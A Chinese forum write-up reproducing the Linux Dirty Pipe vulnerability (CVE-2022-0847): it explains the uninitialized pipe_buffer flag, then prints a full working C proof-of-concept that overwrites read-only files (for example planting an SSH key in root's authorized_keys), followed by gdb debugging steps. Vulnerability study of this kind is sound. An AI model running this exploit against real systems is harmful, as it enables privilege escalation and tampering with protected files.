首页
社区
课程
招聘
[原创]cve-2022-0847复现
2023-8-16 17:35 9974

[原创]cve-2022-0847复现

2023-8-16 17:35
9974

漏洞介绍

在 Linux 内核的 copy_page_to_iter_pipe 和 push_pipe 函数中,管道缓冲区结构的 "flags "成员缺乏正确的初始化,因此可能包含过期的值。无权限的本地用户可利用此漏洞任意写入文件,从而完成提权。

漏洞详细

pipe机制

pipe是内核提供的一种通讯机制,返回两个文件描述符,一个用于发送数据,另一个用于接受数据。实现方式是循环队列它只能用于有血缘关系的进程间通信

pipe结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
struct pipe_inode_info {
    struct mutex mutex;
    wait_queue_head_t rd_wait, wr_wait;
    unsigned int head;
    unsigned int tail;
    unsigned int max_usage;
    unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
    bool note_loss;
#endif
    unsigned int nr_accounted;
    unsigned int readers;
    unsigned int writers;
    unsigned int files;
    unsigned int r_counter;
    unsigned int w_counter;
    struct page *tmp_page;
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
    struct pipe_buffer *bufs;
    struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
    struct watch_queue *watch_queue;
#endif
};

bufs是循环数组,head用来写管道,指向buffer头部,tail用来读管道,指向buffer尾部。

pip_buffer结构体如下:

1
2
3
4
5
6
7
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

pipe_write

向管道中写数据时会调用函数pipe_write()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
  ....
  head = pipe->head;
    was_empty = pipe_empty(head, pipe->tail);
    chars = total_len & (PAGE_SIZE-1);
    if (chars && !was_empty) {
        unsigned int mask = pipe->ring_size - 1;
        struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
        int offset = buf->offset + buf->len;
 
        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
            offset + chars <= PAGE_SIZE) {
            ret = pipe_buf_confirm(pipe, buf);
            if (ret)
                goto out;
 
            ret = copy_page_from_iter(buf->page, offset, chars, from);
            if (unlikely(ret < chars)) {
                ret = -EFAULT;
                goto out;
            }
 
            buf->len += ret;
            if (!iov_iter_count(from))
                goto out;
        }
    }
  for (;;) {
    ....
        if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
            unsigned int mask = pipe->ring_size - 1;
            struct pipe_buffer *buf = &pipe->bufs[head & mask];
            struct page *page = pipe->tmp_page;
            int copied;
 
            if (!page) {
                page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
                if (unlikely(!page)) {
                    ret = ret ? : -ENOMEM;
                    break;
                }
                pipe->tmp_page = page;
            }
 
            /* Allocate a slot in the ring in advance and attach an
             * empty buffer.  If we fault or otherwise fail to use
             * it, either the reader will consume it or it'll still
             * be there for the next write.
             */
            spin_lock_irq(&pipe->rd_wait.lock);
 
            head = pipe->head;
            if (pipe_full(head, pipe->tail, pipe->max_usage)) {
                spin_unlock_irq(&pipe->rd_wait.lock);
                continue;
            }
 
            pipe->head = head + 1;
            spin_unlock_irq(&pipe->rd_wait.lock);
 
            /* Insert it into the buffer array */
            buf = &pipe->bufs[head & mask];
            buf->page = page;
            buf->ops = &anon_pipe_buf_ops;
            buf->offset = 0;
            buf->len = 0;
            if (is_packetized(filp))
                buf->flags = PIPE_BUF_FLAG_PACKET;
            else
                buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            pipe->tmp_page = NULL;
    ....
  }
}

pipe_write()关键功能如下:

  1. 如果pipe不为空,则说明pipe中还有未被读取的部分,如果未被读取的数据所在的buffer标识为PIPE_BUF_FLAG_CAN_MERGE且要写入的数据加上原来的数据不超过一个页,即可在原来的buffer上续写。
  2. 不符合上述条件就会新申请一个页面,将新申请的页面插入pipe中,默认初始化flag为PIPE_BUF_FLAG_CAN_MERGE,即默认状态是允许buffer续写的。

零拷贝

Linux系统中一切皆文件,Linux系统的很多活动无外乎读操作写操作,零拷贝就是为了提高读写性能而出现的。

页面高速缓存

我们知道文件一般存放在硬盘(机械硬盘或固态硬盘)中,CPU 并不能直接访问硬盘中的数据,而是需要先将硬盘中的数据读入到内存中,然后才能被 CPU 访问。由于读写硬盘的速度比读写内存要慢很多(DDR4 内存读写速度是机械硬盘500倍,是固态硬盘的200倍),所以为了避免每次读写文件时,都需要对硬盘进行读写操作,Linux 内核使用 页缓存(Page Cache) 机制来对文件中的数据进行缓存。

当用户对文件进行读写时,实际上是对文件的 页缓存 进行读写。所以对文件进行读写操作时,会分以下两种情况进行处理:

  • 当从文件中读取数据时,如果要读取的数据所在的页缓存已经存在,那么就直接把页缓存的数据拷贝给用户即可。否则,内核首先会申请一个空闲的内存页(页缓存),然后从文件中读取数据到页缓存,并且把页缓存的数据拷贝给用户。
  • 当向文件中写入数据时,如果要写入的数据所在的页缓存已经存在,那么直接把新数据写入到页缓存即可。否则,内核首先会申请一个空闲的内存页(页缓存),然后从文件中读取数据到页缓存,并且把新数据写入到页缓存中。对于被修改的页缓存,内核会定时把这些页缓存刷新到文件中。

将pipe_buffer直接指向页高速缓存作为pipe的buf页使用即可实现以零拷贝的方式在文件描述符之间移动数据。

copy_page_to_iter_pipe

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
             struct iov_iter *i)
{
    struct pipe_inode_info *pipe = i->pipe;
    struct pipe_buffer *buf;
    unsigned int p_tail = pipe->tail;
    unsigned int p_mask = pipe->ring_size - 1;
    unsigned int i_head = i->head;
    size_t off;
 
    if (unlikely(bytes > i->count))
        bytes = i->count;
 
    if (unlikely(!bytes))
        return 0;
 
    if (!sanity(i))
        return 0;
 
    off = i->iov_offset;
    buf = &pipe->bufs[i_head & p_mask];
    if (off) {
        if (offset == off && buf->page == page) {
            /* merge with the last one */
            buf->len += bytes;
            i->iov_offset += bytes;
            goto out;
        }
        i_head++;
        buf = &pipe->bufs[i_head & p_mask];
    }
    if (pipe_full(i_head, p_tail, pipe->max_usage))
        return 0;
 
    buf->ops = &page_cache_pipe_buf_ops;
    get_page(page);
    buf->page = page;
    buf->offset = offset;
    buf->len = bytes;
 
    pipe->head = i_head + 1;
    i->iov_offset = offset + bytes;
    i->head = i_head;
out:
    i->count -= bytes;
    return bytes;
}

关键功能如下:

  1. 找到pipe的写指针head
  2. 将head指向的pipe_buffer的page改为准备好的文件缓存页

这里函数没有初始化pipe_buffer的flag,如果用户调用copy_page_to_iter_pipe之前,head指向pipe_buffer是刚申请来的,那此时的pipe_buffer的flag应该为PIPE_BUF_FLAG_CAN_MERGE,如果再次调用pipe_write函数用户就可以向pipe_buffer指向的文件缓存页中写数据,这就造成了一个任意文件写。

copy_page_to_iter_pipe可以由splice调用

调试漏洞

poc逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */
 
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
 
/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
//初始化pipe,将所有buffer填满再清空,这样每个buffer上都会留下PIPE_BUF_FLAG_CAN_MERGE
static void prepare_pipe(int p[2])
{
    if (pipe(p)) abort();
 
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
 
    /* fill the pipe completely; each pipe_buffer will now have
       the PIPE_BUF_FLAG_CAN_MERGE flag */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
 
    /* drain the pipe, freeing all pipe_buffer instances (but
       leaving the flags initialized) */
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
 
    /* the pipe is now empty, and if somebody adds a new
       pipe_buffer without initializing its "flags", the buffer
       will be mergeable */
}
 
int main(int argc, char **argv)
{
    if (argc != 4) {
        fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
        return EXIT_FAILURE;
    }
 
    /* dumb command-line argument parser */
    const char *const path = argv[1];
    loff_t offset = strtoul(argv[2], NULL, 0);
    const char *const data = argv[3];
    const size_t data_size = strlen(data);
 
    if (offset % PAGE_SIZE == 0) {
        fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
        return EXIT_FAILURE;
    }
 
    const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
    const loff_t end_offset = offset + (loff_t)data_size;
    if (end_offset > next_page) {
        fprintf(stderr, "Sorry, cannot write across a page boundary\n");
        return EXIT_FAILURE;
    }
 
    /* open the input file and validate the specified offset */
    const int fd = open(path, O_RDONLY); // yes, read-only! :-)
    if (fd < 0) {
        perror("open failed");
        return EXIT_FAILURE;
    }
 
    struct stat st;
    if (fstat(fd, &st)) {
        perror("stat failed");
        return EXIT_FAILURE;
    }
 
    if (offset > st.st_size) {
        fprintf(stderr, "Offset is not inside the file\n");
        return EXIT_FAILURE;
    }
 
    if (end_offset > st.st_size) {
        fprintf(stderr, "Sorry, cannot enlarge the file\n");
        return EXIT_FAILURE;
    }
 
    /* create the pipe with all flags initialized with
       PIPE_BUF_FLAG_CAN_MERGE */
    int p[2];
    prepare_pipe(p);
 
    /* splice one byte from before the specified offset into the
       pipe; this will add a reference to the page cache, but
       since copy_page_to_iter_pipe() does not initialize the
       "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
  //初始化pipe之后用splice对打开的只读文件进行零拷贝,此时pipe写指针的buffer就会指向只读文件的页面高速缓存
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    if (nbytes < 0) {
        perror("splice failed");
        return EXIT_FAILURE;
    }
    if (nbytes == 0) {
        fprintf(stderr, "short splice\n");
        return EXIT_FAILURE;
    }
 
    /* the following write will not create a new pipe_buffer, but
       will instead write into the page cache, because of the
       PIPE_BUF_FLAG_CAN_MERGE flag */
  //此时向pipe写指针中写入内容就是向只读文件中写入内容
    nbytes = write(p[1], data, data_size);
    if (nbytes < 0) {
        perror("write failed");
        return EXIT_FAILURE;
    }
    if ((size_t)nbytes < data_size) {
        fprintf(stderr, "short write\n");
        return EXIT_FAILURE;
    }
 
    printf("It worked!\n");
    return EXIT_SUCCESS;
}

调试

直接在docker hub拉个搭建好的环境:https://hub.docker.com/r/chenaotian/cve-2022-0847

启动qemu的时候先把文件系统里的init脚本改一下,setuidgid 0 改成 setuidgid 1000:

启动qemu之后确认testfile事只读文件:

gdb挂上源码在do_splice打断点,执行./exp testfile 1 nihao,断下来之后在copy_page_to_iter_pipe打断点,继续运行,断下来之后运行到取buf的位置:

打印查看pipe->bufs[0]的值:

走到函数结尾处,buf[0]的page被替换为文件页高速缓存,并且offset、len、ops也都被替换,再次查看pipe->bufs[0]的值:

可以看到flag没有被替换,仍然为0x10即PIPE_BUF_FLAG_CAN_MERGE。打断点到pipe_write,继续运行,断下来并执行到取buffer处:

可以看到取出了带有页高速缓存的buf并准备写入。继续运行,成功经过判断到达写入函数:

直接继续运行,查看文件内容:

字符串成功写入只读文件,复现成功。


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 12059
活跃值: (15404)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2023-8-16 19:38
2
0
感谢分享
游客
登录 | 注册 方可回帖
返回